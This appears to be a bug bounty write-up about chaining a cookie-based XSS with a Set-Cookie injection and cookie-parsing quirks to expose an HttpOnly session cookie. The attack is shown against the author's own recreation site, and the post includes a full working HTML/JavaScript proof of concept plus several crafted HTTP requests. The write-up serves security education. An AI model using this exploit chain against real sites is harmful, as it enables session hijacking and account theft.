Exploiting a "Useless" Cookie-Based XSS and Making it Useful
If you would rather play a challenge than read a blog post, or play along as you go, you can find a re-implementation of the bug discussed in this post at https://www.xss.long.lat/.
This is the writeup of the exploitation of a cookie-based XSS I found on a bug bounty program last summer which initially appeared to be:
- unexploitable - the input for this XSS was in a cookie, and there is usually1 no way to set cookies for another user, meaning that there is usually no way to target another user with this issue; and
- useless - even if I could find a way to target another user, the XSS affected a website that contained practically no interesting content and appeared as though it could even be abandoned2.
I managed to find ways around both of these obstacles, leading to being able to steal session cookies, including those marked as HttpOnly
, from the program’s main customer-facing web application.
As this bug was found on a private program, this post shows the bug on the recreation at https://www.xss.long.lat/ and https://boring.xss.long.lat/. The bug works in exactly the same way, and I just had to change the URLs and cookies names in the proof-of-concept I submitted to the program in order to get it to work against this recreation.
Two harmless injections
This started with a couple of minor issues that had been sitting in my notes. The first was a straightforward XSS in the csrf
cookie. When the cookie csrf=test'-alert(1)-'
was sent to https://boring.xss.long.lat, the single quotes were reflected unescaped:
<script>
var csrf = 'test'-alert(1)-'';
document.getElementById("csrf").value = csrf;
</script>
The second was an injection into a Set-Cookie
header when changing the user’s language preference. This could be seen with a request such as:
POST /lang.php HTTP/1.1
Host: boring.xss.long.lat
[...]
lang=it; property=value&csrf=ignored
This request would cause the following Set-Cookie
header to be returned:
Set-Cookie: lang=it; property=value
Unfortunately, no attempts at CRLF injection worked here, which would have allowed another Set-Cookie
header to be injected for the csrf
cookie, and it was only possible to set the lang
cookie, which wasn’t unsafely reflected anywhere.
C is for Cookie
Fortunately, I came across the slides for a great presentation by filedescriptor in which he mentions that some web servers accept commas as well as semicolons as a delimiter in the Cookie
header, as suggested by RFC 2965. Happily, my target was one of these web servers.
I could create a simple CSRF exploit to set the value of the lang
cookie to z,csrf='-alert(document.domain)-'
by generating the following request:
POST /lang.php HTTP/1.1
Host: boring.xss.long.lat
[...]
lang=z,csrf='-alert(document.domain)-'&csrf=ignored
The Set-Cookie
header would then be returned as Set-Cookie: lang=it,csrf='-alert(document.domain)-'
, which browsers will process to set a value for the lang
cookie. When main page of https://boring.xss.long.lat was loaded, the browser would send the following Cookie
header in the request:
Cookie: lang=it,csrf='-alert(document.domain)-'
The web server would process this as two cookies: the cookie lang
with a value of it
, and the cookie csrf
with a value of '-alert(document.domain)-'
. So, the XSS would be triggered:
<script>
var csrf = ''-alert(document.domain)-'';
document.getElementById("csrf").value = csrf;
</script>
D is for Domain
I could now trigger the XSS for another user, overcoming the “unexploitable” obstacle, but I still faced the problem that the XSS was on a subdomain that didn’t contain any particularly sensitive data. However, there was one more minor thing sitting in my notes that held the answer. The main customer-facing web application at https://www.xss.long.lat set all of it’s cookies with a domain of xss.long.lat
. This means that they are included in requests to every subdomain of xss.long.lat
, including boring.xss.long.lat
.
Playing around with the server’s cookie processing a little more, I noticed that it would also treat double quotes as special characters. You could encapsulate a cookie’s value in double quotes, which would then cause the server to ignore delimiting characters inside these quotes. For example, consider the following Cookie
header:
Cookie: csrf="a; othercookie=b"
The web server would ignore the semicolon as it was inside double quotes, and parse this header as a single cookie named csrf
with a value of a; othercookie=b
.
If I could place a csrf
cookie with one single quote in at the start of the victim’s Cookie
header, and another cookie with one single quote in at the end of the victim’s Cookie
header, I could get all of the victim’s cookies to be placed inside the value of the csrf
cookie:
Cookie: csrf="; PHPSESSID=stealme; z="
The server would treat the header above as one cookie named csrf
with a value containing the victim’s session cookie. This would then be reflected back into the DOM of https://boring.xss.long.lat, where I could use XSS to steal its value.
Forcing cookie ordering is something I’ve played around with before, but is explained better in filedescriptor’s slides. In practice, since the cookie injection also allowed attributes to be set, I could create one lang
cookie with a value of "
which will be included at the end of the Cookie
header:
POST /lang.php HTTP/1.1
Host: boring.xss.long.lat
[...]
lang="&csrf=[...]
I could then set a second lang
cookie with the value of z,csrf="
and a path of /index.php
which will appear at the start of the Cookie
header due to the longer path:
POST /lang.php HTTP/1.1
Host: boring.xss.long.lat
[...]
lang=z,csrf=";path=/index.php&csrf=[...]
Browsers will treat these as two separate cookies, and send both in requests. The resulting Cookie
header for a request to https://boring.xss.long.lat/index.php is:
Cookie: lang=z,csrf="; PHPSESSID=stealme; csrf=actualvalue; lang="
The server parses this as a lang
cookie with a value of z
, and a csrf
cookie with a value of ; PHPSESSID=stealme; csrf=actualvalue; lang=
. So, the HttpOnly session cookie gets reflected into the page at https://boring.xss.long.lat/index.php:
<script>
var csrf = '; PHPSESSID=stealme; csrf=actualvalue; lang=';
document.getElementById("csrf").value = csrf;
</script>
E is for Exploit
I’ve included the final exploit below, with some explanation following it. As the default SameSite behaviour in Chrome has changed since I initially found this bug, you’ll notice that I’m also injecting the SameSite=None
and Secure
3 attributes when setting cookies so that they can be set from form submissions targeting IFrames.
<html>
<body>
<!-- iframes to use as targets for form submission, preventing redirection -->
<iframe id="frame1" name="frame1"></iframe>
<iframe id="frame2" name="frame2"></iframe>
<!-- generate the request to set the 'lang' cookie with a value of `"';alert(csrf)//` to go at the end of the user's cookie header -->
<form action="https://boring.xss.long.lat/lang.php" method="POST" id="cookie1" target="frame1">
<input type="hidden" name="lang" value="z,"'%3balert(csrf)//;SameSite=None;Secure" />
<input type="hidden" name="csrf" value="ignored" />
</form>
<!-- generate the request to set the 'lang' cookie with a value of 'z,csrf="' and a path of '/index.php' -->
<form action="https://boring.xss.long.lat/lang.php" method="POST" id="cookie2" target="frame2">
<input type="hidden" name="lang" value="z,csrf=";Path=/index.php;SameSite=None;Secure" />
<input type="hidden" name="csrf" value="ignored" />
</form>
<!-- fire it all off -->
<script>
let delay = 2000; // Number of milliseconds to wait for cookies to be set before trying to trigger the XSS
document.getElementById("cookie1").submit();
document.getElementById("cookie2").submit();
// Redirect to let the exploit fire
setTimeout(() => {
top.location.replace("https://boring.xss.long.lat/index.php");
}, delay);
</script>
</body>
</html>
This will show the session cookie for https://www.xss.long.lat in an alert box:
Explanation
First, I create a couple of IFrames that can be used with the target
attribute of the forms. This causes the result of the form submission to be displayed inside these IFrames, rather than causing the whole page to redirect.
The two forms that follow are simple CSRF PoCs that set both variants of the lang
cookie. Now, I’ve set the lang
cookie that appears at the end of the Cookie
header to have a value of "';alert(csrf)//
to show that I can include JavaScript to access the value of the csrf
variable containg the victim’s cookies.
Finally, I use some JavaScript to submit the forms automatically, and then redirect the page to https://boring.xss.long.lat/index.php to trigger the XSS.
F is for Finished
This isn’t the most impactful bug I’ve ever found, but I had a lot of fun exploiting it and learnt a few things in the process so I decided to write it up. The main takeaway for me was the value of keeping note of things that are “a bit off” but seem like they’ll never be exploitable - you never know when you’ll stumble upon a new way to use them.